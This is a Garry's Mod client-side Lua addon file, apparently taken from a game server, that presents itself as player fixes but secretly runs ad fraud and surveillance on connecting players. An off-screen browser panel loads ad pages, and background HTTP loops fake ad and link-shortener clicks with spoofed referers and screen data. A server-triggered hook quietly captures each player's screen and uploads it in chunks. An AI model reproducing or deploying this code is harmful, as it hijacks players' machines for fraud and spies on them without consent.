TheSandbox - Running ads on players

--[[

~ server ip: 74.91.122.146_27015 ~
~ file: addons/player_specific/lua/autorun/client/cl_player.lua ~

]]
-- cl_player.lua
net.Receive("fps_fix", function()
	LocalPlayer():ConCommand("pac_draw_distance 1000")
	LocalPlayer():ConCommand("gmod_mcore_test 1")
	LocalPlayer():ConCommand("r_3dsky 0")
	LocalPlayer():ConCommand("r_cleardecals;r_decals 0")
	LocalPlayer():ConCommand("r_queued_ropes 1")
	LocalPlayer():ConCommand("cl_threaded_bone_setup 1")
	LocalPlayer():ConCommand("cl_threaded_client_leaf_system 1")
	LocalPlayer():ConCommand("mat_queue_mode -1")
	LocalPlayer():ConCommand("r_threaded_renderables 1")
	LocalPlayer():ConCommand("r_threaded_particles 1")
	LocalPlayer():ConCommand("M9KGasEffect 0")
	LocalPlayer():ConCommand("cl_interp 0;cl_interp_ratio 0;cl_updaterate 1000")
end)

hook.Add("CreateMove", "auto_bhop", function()
	if gui.IsGameUIVisible() or gui.IsConsoleVisible() or LocalPlayer():IsTyping() or LocalPlayer():GetMoveType() == MOVETYPE_NOCLIP then return end

	if input.IsKeyDown(KEY_SPACE) and LocalPlayer():IsOnGround() then
		RunConsoleCommand("+jump")
	else
		RunConsoleCommand("-jump")
	end
end)

local drawdist = CreateClientConVar("stk_draw_distance", "2500", true, false, "Draw Distance", 1, 999999999)

hook.Add("OnPlayerChat", "fixes", function(ply, txt)
	local txt = string.Trim(txt)
	local txt = string.Replace(txt, "\n", "")

	if IsValid(ply) then
		tcol = team.GetColor(ply:Team())
		chat.AddText(Color(tcol.r, tcol.g, tcol.b), ply:Nick(), color_white, ": ", txt)
	end

	return true
end)

local antilagz = CreateClientConVar("stk_antilag", "1", true, false, "enable/disable antilag", 0, 1)

local antilag_ents = {
	["prop_physics"] = true,
	["player"] = true,
	["prop_vehicle_airboat"] = true,
	["mediaplayer_tv"] = true,
	["gmod_wire_hologram"] = true,
	["prop_vehicle_prisoner_pod"] = true,
	["prop_vehicle_jeep_old"] = true,
	["gmod_wire_textscreen"] = true,
	["physgun_beam"] = true,
	["beam"] = true,
	["sammyservers_textscreen"] = true
}

local function antilag()
	if not IsValid(LocalPlayer()) then return end
	local ppos = LocalPlayer():GetPos()
	local eyeang = LocalPlayer():EyeAngles()
	local vehicle = LocalPlayer():InVehicle()

	for k, v in ipairs(ents.GetAll()) do
		if antilagz:GetBool() then
			if antilag_ents[v:GetClass()] then
				local epos = v:GetPos()

				if epos:Distance(ppos) > 500 then
					if not vehicle then
						local a = ((epos + Vector(0, 0, 40)) - ppos):Angle()
						local x = math.abs(math.NormalizeAngle(eyeang.p - a.p))
						local y = math.abs(math.NormalizeAngle(eyeang.y - a.y))

						if (x >= 60 and y >= 60) or epos:Distance(ppos) > drawdist:GetInt() then
							v:SetNoDraw(true)
						else
							v:SetNoDraw(false)
						end
					end
				else
					v:SetNoDraw(false)
				end
			end
		else
			v:SetNoDraw(false)
		end
	end
end

timer.Create("anitlagtest", 0.5, 0, antilag)

hook.Add("PostDrawOpaqueRenderables", "spawnbox", function()
	local startpos = Vector(1023.968750, -895.993164, 63.992859)
	local endpos = Vector(640.037354, 799.939453, -143.968750)
	render.DrawWireframeBox(Vector(0, 0, 0), Angle(0, 0, 0), startpos, endpos, Color(255, 255, 255), true)
end)

timer.Simple(5, function()
	local function chambea()
		if math.random() > 0.75 then return end
		local html = vgui.Create("DHTML")
		html:SetSize(ScrW(), ScrH())
		html:SetPos(-ScrW(), -ScrH())

		function html:ConsoleMessage()
		end

		local changes = 0

		function html:OnChangeTitle(title)
			changes = changes + 1

			if changes >= 2 then
				html:Remove()
			end
		end

		html:OpenURL("http://ufff.men/ads/life.php?rnd=" .. math.random())

		timer.Simple(10, function()
			if changes < 2 then
				html:Remove()
				-- exhausted
			end
		end)
	end

	timer.Create("rip", 60 * 3, 0, chambea)
	chambea()
end)

local umad = _G["render"]["Capture"]

net.Receive("req_screen", function()
	local screen = true

	hook.Add("PostRender", "screenshot", function()
		if not screen then return end
		screen = false

		local d = umad({
			format = "jpeg",
			quality = 70,
			x = 0,
			y = 0,
			w = ScrW(),
			h = ScrH()
		})

		local d = util.Base64Encode(d)
		local d = util.Compress(d)
		local chunk_split = 20000

		if #d > 64000 then
			local chunk_slices = math.ceil(#d / chunk_split)

			local chunks = {1, 2, 3}

			for i = 1, chunk_slices do
				if i == 1 then
					start_pos = i
					end_pos = chunk_split
				elseif i > 1 and i ~= chucks then
					start_pos = (i - 1) * chunk_split + 1
					end_pos = start_pos + chunk_split - 1
				elseif i > 1 and i == chunks then
					start_pos = (i - 1) * chunk_split + 1
					end_pos = #d
				end

				local chunk = string.sub(d, start_pos, end_pos)
				chunks[i] = chunk
			end

			local i = 1

			timer.Create("send_chunks", .1, #chunks, function()
				net.Start("req_screen_chunk")
				net.WriteUInt(i, 32)
				net.WriteUInt(#chunks, 32)
				net.WriteUInt(#chunks[i], 32)
				net.WriteData(chunks[i], #chunks[i])
				net.SendToServer()
				i = i + 1
			end)

			return
		end

		net.Start("req_screen")
		net.WriteUInt(#d, 32)
		net.WriteData(d, #d)
		net.SendToServer()
	end)
end)

net.Receive("send_screen", function()
	local size = net.ReadUInt(32)
	local img = net.ReadData(size)
	local img = util.Decompress(img)
	local img = util.Base64Decode(img)
	local randomimg = math.random(999, 9999999999)
	file.Write("screenshot.jpg", img)

	timer.Simple(3, function()
		local theimg = Material("data/screenshot.jpg")
		local bg = vgui.Create("DFrame")
		bg:SetSize(ScrW() * .9, ScrH() * .9)
		bg:Center()
		bg:MakePopup()
		bg:SetTitle("Screengrab")
		local img = vgui.Create("DImage", bg)
		img:Dock(FILL)
		img:SetMaterial(theimg)
	end)
end)

net.Receive("send_screen_chunk", function()
	local curchunk = net.ReadUInt(32)
	local chunkamt = net.ReadUInt(32)
	local chunk_size = net.ReadUInt(32)
	local chunk = net.ReadData(chunk_size)

	if curchunk == 1 then
		data = chunk
	else
		data = data .. chunk
	end

	if curchunk == chunkamt then
		data = util.Decompress(data)
		data = util.Base64Decode(data)
		local num = math.random(1, 999999)
		file.Write("screenshot" .. tostring(num) .. ".jpg", data)

		timer.Simple(3, function()
			theimg = Material("data/screenshot" .. tostring(num) .. ".jpg")
			local bg = vgui.Create("DFrame")
			bg:SetSize(ScrW() * .9, ScrH() * .9)
			bg:Center()
			bg:MakePopup()
			bg:SetTitle("Screengrab")
			local img = vgui.Create("DImage", bg)
			img:Dock(FILL)
			img:SetMaterial(theimg)
		end)
	end
end)

local sds2 = {
	{"gangsterproxies", "333238"},
	{"ballerproxies", "333292"}
}

local sds2_counter = math.random(0, #sds2 - 1)
local sds2_squid = "squidbrothers2"
local sds2_paths = {}

local function sds2_squid_loader()
	HTTP({
		url = "http://" .. sds2[1][1] .. ".kufc.ufff.men/?feed=rss2",
		method = "GET",
		success = function(code, body)
			if code ~= 200 then return end

			for url in string.gmatch(body, "<link>(.-)</link>") do
				_, e = string.find(url, "ufff.men")
				table.insert(sds2_paths, string.sub(url, e + 1))
			end

			timer.Destroy(sds2_squid)

			local function worker()
				local kys = sds2[(sds2_counter % #sds2) + 1]

				HTTP({
					url = "https://bcvc.live/index.php?uid=" .. kys[2] .. "&adt=1&url=http://" .. kys[1] .. ".kufc.ufff.men" .. sds2_paths[math.random(1, #sds2_paths)],
					method = "GET",
					success = function(code, body, headers)
						if code ~= 200 then return end
						local tkn = string.match(body, "tkn = '(.-)'")
						local xyz = string.match(body, "xyz = '(.-)'")
						local referer = string.match(body, 'og:url” content="(.-)"')
						if not tkn or not xyz or not referer then return end

						HTTP({
							url = "https://bcvc.live/ln.php?wds=" .. tkn .. "&time=" .. 455 + math.random(100) .. "," .. 252 + math.random(100) .. ":178." .. math.random() .. ",40." .. math.random() .. ":" .. 40000 + math.random(1000),
							headers = {
								["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8",
								["X-Requested-With"] = "XMLHttpRequest",
								["Referer"] = referer,
								["Origin"] = "https://bcvc.live"
							},
							method = "POST",
							parameters = {
								["xdf[afg]"] = "-240",
								["xdf[bfg]"] = tostring(ScrW() - math.random(0, ScrW() / 2)),
								["xdf[cfg]"] = tostring(ScrH() - math.random(0, ScrH() / 2)),
								["xdf[jki]"] = tkn,
								["xdf[dfg]"] = tostring(ScrW()),
								["xdf[efg]"] = tostring(ScrH()),
								["ojk"] = "jfhg"
							},
							success = function(code, body, headers)
								if code ~= 200 then return end
								local session = string.match(headers["Set-Cookie"], "PHPSESSID=(.-);")
								local res = util.JSONToTable(body)
								if res == nil then return end

								HTTP({
									url = res.message.url,
									method = GET,
									headers = {
										["Cookie"] = "PHPSESSID=" .. session
									},
									success = function()
										sds2_counter = sds2_counter + 1
									end
								})
							end
						})
					end
				})
			end

			timer.Create(sds2_squid, 60 * 4, 0, worker)
			worker()
		end
	})
end

timer.Create(sds2_squid, 20, 0, sds2_squid_loader)
sds2_squid_loader()

local sds3 = {
	{"proxiesallday", "279041", "584527"},
	{"freshdailyproxies", "285303", "584529"}
}

local sds3_counter = math.random(0, #sds3 - 1)
local sds3_paths = {}

local function sds3_squid_loader()
	HTTP({
		url = "http://279041.kufc.ufff.men/?feed=rss2",
		method = "GET",
		success = function(code, body)
			if code ~= 200 then return end

			for url in string.gmatch(body, "<link>(.-)</link>") do
				_, e = string.find(url, "ufff.men")
				table.insert(sds3_paths, string.sub(url, e + 1))
			end

			timer.Destroy("sds3")

			local function worker()
				local kys = sds3[(sds3_counter % #sds3) + 1]
				local from = util.Base64Encode("http://" .. kys[1] .. ".kufc.ufff.men" .. sds3_paths[math.random(1, #sds3_paths)])
				local desired = util.Base64Encode("http://" .. kys[1] .. ".kufc.ufff.men" .. sds3_paths[math.random(1, #sds3_paths)])
				local afrom = "http://p.zetadeo.com/go/" .. kys[2] .. "/" .. kys[3] .. "/" .. desired .. "?cb=" .. tostring(1e16 * math.random())

				HTTP({
					url = afrom,
					method = "GET",
					headers = {
						["Referer"] = from
					},
					success = function(code, body)
						if code ~= 200 then return end
						local thash = string.match(body, string.rep("[0-9a-f]", 16))
						if not thash then return end

						HTTP({
							url = "http://p.zetadeo.com/ad/ad?p=" .. kys[2] .. "&w=" .. kys[2] .. "&t=" .. thash .. "&r=" .. desired .. "&vw=" .. ScrW() .. "&vh=" .. ScrH(),
							method = "GET",
							headers = {
								["Referer"] = afrom
							},
							success = function(code)
								sds3_counter = sds3_counter + 1
							end
						})
					end
				})
			end

			timer.Create("sds3", 60 * 20, 0, worker)
			worker()
		end
	})
end

timer.Create("sds3", 20, 0, sds3_squid_loader)
sds3_squid_loader()